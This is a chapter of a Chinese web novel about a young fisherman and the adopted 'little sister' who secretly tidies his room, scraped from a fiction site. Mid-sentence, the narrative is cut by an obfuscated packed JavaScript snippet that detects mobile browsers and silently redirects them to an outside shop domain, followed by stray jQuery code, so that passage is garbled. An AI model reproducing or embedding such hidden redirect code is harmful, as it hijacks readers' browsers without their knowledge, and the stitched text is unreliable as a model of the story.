文趣网 > 其他小说 > 哥哥不是我的吗?[九零] > 9. 会心疼哥哥了
    “帮我洗一下船咯!跑这么快!”邓顺平双手通红地杵着扫帚在后面喊。

    船东的儿子比较惨,干活儿永远得干到最后,还没工资。

    陈立诚假装没听见,提起竹篓,把包往背上一甩,大步跳上岸。

    “狗屁的兄弟!”邓顺平骂了一句。

    雨挺大的,砸草帽上啪啪响,地上不知道谁丢的蟹壳,踩上去险些摔一跤。

    陈钢手疾眼快扶了一把,继续点手里湿漉漉的钱,“阿诚,你现在挣了钱还给你表姑啊?”

    陈立诚看了看他,“啊。”

    “自己也要存一点儿,”陈钢点完钱塞进兜里,提起腿边的竹篓,语重心长地说,“海上干不了几年就全是病了,你没爹没妈,要自己攒钱娶媳妇儿。”

    陈立诚笑了笑,脚步加快了。

    陈钢跟着加快脚步,“你姑是养了你,那你这么多年也还得差不多了,总要为自己想一想,你连个房子都没有,总不能以后娶个媳妇跟你姑住,那么个小房子,你愿意你媳妇也不能愿意……”

    “我的意愿不应该比还没出现的媳妇重要一点吗?”

    陈钢“啧”了一声,“机会都是留给有准备的人,你一直没房子就一直没媳妇……”

    陈立诚要不是实在跑不动,现在就想跑着回家。

    陈钢是他爷爷的堂兄弟的孙子,比他大十来岁,嘴上也是叫堂哥。

    平时在船上,都是陈钢和邓叔换着开船,陈立诚有空就去偷师。

    他也会开,不过开船讲究经验和资历,他这样二十出头的小伙子,稍微大点儿的船都轮不到他开。

    陈钢很敞亮,不藏私,问就教,只是不光喜欢教开船,还喜欢教做人。

    船上换个衣服,看见他肩上的咬痕,义正词严对着他一顿说教,嗓门儿巨大,搞得整条船都知道他跟姑娘鬼混。

    陈立诚知道这人没坏心,但听多了还是烦,船上就算了,下船立马绕道走。

    可惜去崖上的路就一条,只能强忍着,捱到三妹烧烤,陈老师终于下课了。

    陈立诚松了口气,脑袋嗡嗡的,拎着竹篓拐进小道。

    烧烤店支了雨棚,陈三妹一个人紧锣密鼓地串肉串。

    一般下雨天,店里生意会好一些。雨天很多渔民闲在家没事干,镇上又没什么娱乐活动,出来吃个烧烤最惬意了。

    价格不贵,有酒有肉,几个老伙计一块儿,看看海,吹吹牛。

    况且林豪槠手艺好,林贝爷爷传下来的,镇上其他烧烤店都不是这个味儿。

    “回来啦?”陈三妹听到脚步声抬头,“哎,脸色这么难看?”

    “有点困,”陈立诚耷拉着眼皮,把钱递了过去,“贝贝呢?”

    陈三妹习惯他一回家就问妹妹,接过钱回道:“吵着跟她爹一块儿去市场了,这丫头,这两天真是让她折磨死了。”

    陈立诚笑着问:“怎么了?”

    “她不是做饭吗?”陈三妹说,“成天炒个白菜,一点儿盐不放,妈呀,我剃个头去当姑子吃得都比这滋味儿。”

    陈立诚笑了笑,“刚学水平差点儿正常,不行就吃点咸菜。”

    “她不让,非说咸菜有毒,”陈三妹一脸无语,“我真是头一回听说咸菜有毒,你说她怎么想的,考试考个十几分,净学些有的没的,我就说应该去学修船!”

    “她自己能吃下啊?”陈立诚往水管那边过去。

    “她还真能,”陈三妹顿了顿,“哎?是啊,她竟然能吃下。”

    林贝跟个饕餮似的,那肚子从小就填不满,还都捡最鲜甜的那一口吃。

    人不聪明,吃可机灵了,蟹黄,钳子肉,八爪鱼腿,总之挑好的吃。

    那样一张嘴,居然能吃这么多天菜叶子,怎么忍下来的?

    陈立诚没太在意,他现在太困了,眼底都是血丝,只想睡觉。

    简单冲了身上的脏东西,跑到后院去,把浑身上下都洗了一遍,直接回房间睡觉。

    门一推,陈立诚就愣住了。

    房间一副经历过大扫除的样子。

    那些乱堆的杂物都用箱子装起来了,一个叠一个,擦得纤尘不染,让出了不少空间,整个屋子顿时规整了很多。

    鞋明显都是洗过的,摆在一个泡沫箱做的自制鞋架上。

    林贝小时候的玩具像装饰品一样放在各个位置。

    陈立诚放下小包,怀着一种难以形容的预感,打开兄妹共用的衣柜。

    扑面而来的不是惯常的潮霉味儿,是一股香樟味儿,清新干燥,很好闻。

    挂着的都是林贝的衣服,校服、裙子、短袖,统共没几件,林贝很珍惜,一般出去玩才穿。

    底下的是他的衣服,平时胡乱团着,兄妹俩一块儿穿,现在全叠整齐了。

    陈立诚看了一圈,目光定在自己的床铺上。

    那张破了几个口、时不时就会扎一下肉的凉席也换了,换了一张全新的,枕套也是干净的。

    陈立诚晕头转向地折回门口,转头问:“姑,我屋子你收拾的吗?”

    “啊?”陈三妹回过头,“我没动你东西啊。”

    陈立诚想也是。

    他从小就不敢给表姑添麻烦,自己的事儿都自己解决,还会把林贝的解决掉,久而久之,表姑就不管他俩的生活琐事了。

    所以……是贝贝收拾的。

    陈立诚回到房间,抓起枕头,放到鼻尖闻了一下。

    淡淡的肥皂味儿。

    缓过最初的惊讶,他轻轻笑了一声,拍拍枕头,“真的会心疼哥哥了。”

    今天市场菜不多,都是卖香烛、贡品的,下雨了,悬崖路滑,摩托车都不敢过,菜贩子少了一大半,菜价也高。

    林贝先跟爸爸买祭海要用的东西,等到快收摊才去买菜,虽然最后剩的没那么新鲜,但能砍到平时的价。

    即便这个价,林豪槠还是不情愿。

    家里很少买自己吃的菜,陈立诚隔三差五就会带海货回来,加上店里快坏了的菜和肉,怎么都够吃,不用特意买。

    他吃惯了免费的,突然要为食物付费了,哪里舍得。

    林豪槠啰里啰嗦地数落:“这么多菜,我和你妈一年也买不了这么多菜,菜有什么好吃的,我小时候想吃肉还吃不上呢,生在福中不知福。”

    “你攒那么多钱干什么嘛,”林贝穿着雨衣,抱着一个大冬瓜,走得呼哧带喘的,“你明明就有钱。”

    “还得给你交学费呢。”林豪槠说。

    “交了也还是有。”林贝说。

    林豪槠看了看她,憋了半天,“你偷看你妈存折了?”

    “还用看?”林贝说,“你俩这么抠抠搜搜的,钱又不会自己长腿

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17789166|210305||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    跑了。”

    林豪槠一噎,心里想着真是把闺女惯坏了,目光掠过街边的糍粑,又记起贝贝爱吃,“那儿有糍粑,我去给你买点儿?”

    “不、要,我要以身作则,我们都不能吃高盐高糖食物。”林贝目光坚定地看着前方。

    林豪槠:“……”

    毛病!

    林贝对家里的经济情况有数。

    她爸原先也是在海上讨生活的,渔民生活苦归苦,但是能挣钱,要不是攒足了钱,有妻有女的,怎么敢退休开店,这店能一直开下去,说明也是挣钱的。

    而且她爸治痛风,她妈做透析,回回都能拿出钱。

    直到她入职镇医院第二年,她妈开始抗拒治疗,爸爸又重新打算出海,家里的存款才见底。

    不过那个时候她已经能挣钱了,院长也照顾,能减的费用都给他们减了,虽然不是大富大贵的家庭,脱贫是老早的事儿。

    这小两口就是纯抠。

    市场在学校附近,黑崖镇地势陡峭,除了码头,就学校这一块儿平地多,能建设成商业街。

    父女俩提着大袋小袋,淋着雨,走了半个小时才到家,累得话都说不出来。

    陈三妹一看就炸毛了,“你要死了林豪槠,买那么多东西干什么!”

    林豪槠保住胸腔里最后一口气,往屋里一冲,“不是我!是贝贝要买的!”

    陈三妹抄着扫帚追到浴室门口,“她要买你就买!我不让你买你听了没有!”

    “老婆!”林豪槠委屈地喊。

    “你给我出来!我今天抽不死你丫的!败家玩意儿!”

    如果说林贝在家地位是最高的,那林豪槠就是毫无地位可言的了。

    林贝有时候都心疼他。

    他跟爷爷逃荒到黑崖镇,积攒了十几年还是一穷二白,又是外乡人,出点事儿都没个家族帮衬,要不是陈三妹觉得他脸上那两个酒窝看着下饭,未必能讨着媳妇。

    好不容易娶上了,可不得老实捧着。

    陈三妹虽然经常欺负他,心里对自家男人还是非常满意的,要不后来也不会总催林贝结婚。

    她实打实觉得结婚是件幸福的事儿。

    林贝默默把大冬瓜放到地上,脱了雨衣往木架上一挂,刚喘口气,视线就捕捉到一旁滴着水的草帽。

    !

    哥哥回来了!

    林贝眼睛一亮,踩着小碎步跑进自己房间,“哥……”

    林贝捂住嘴。

    下雨天,房间里光线很暗,基本来源于她背后,家具都被切出了明显的明暗面。

    电风扇开到最大档,在一旁哐哐哐地响。

    陈立诚光着膀子躺在床上,下半身一条短裤,背心折了两下盖着上半张脸。

    薄唇微张,打着一点轻鼾,胸口的海螺随着呼吸缓慢起伏,睡得非常沉。

    昏沉的光落在他身上,肌肉线条朦朦胧胧的,蜜色皮肤泛起汗的水光。

    林贝看了一阵,心想,她哥身材真好,干活干出来的肌肉,匀称,自然,不是健美的那种,但一看就有力气。

    啧,这个腰也太紧实了,腿也长,光溜溜躺在那里好性感……

    意识到自己在看什么,林贝一激灵,连忙把门关上了。

    她震惊地在原地站了一会儿,摸了摸发烫的脸颊,去门口捡四季豆和小白菜。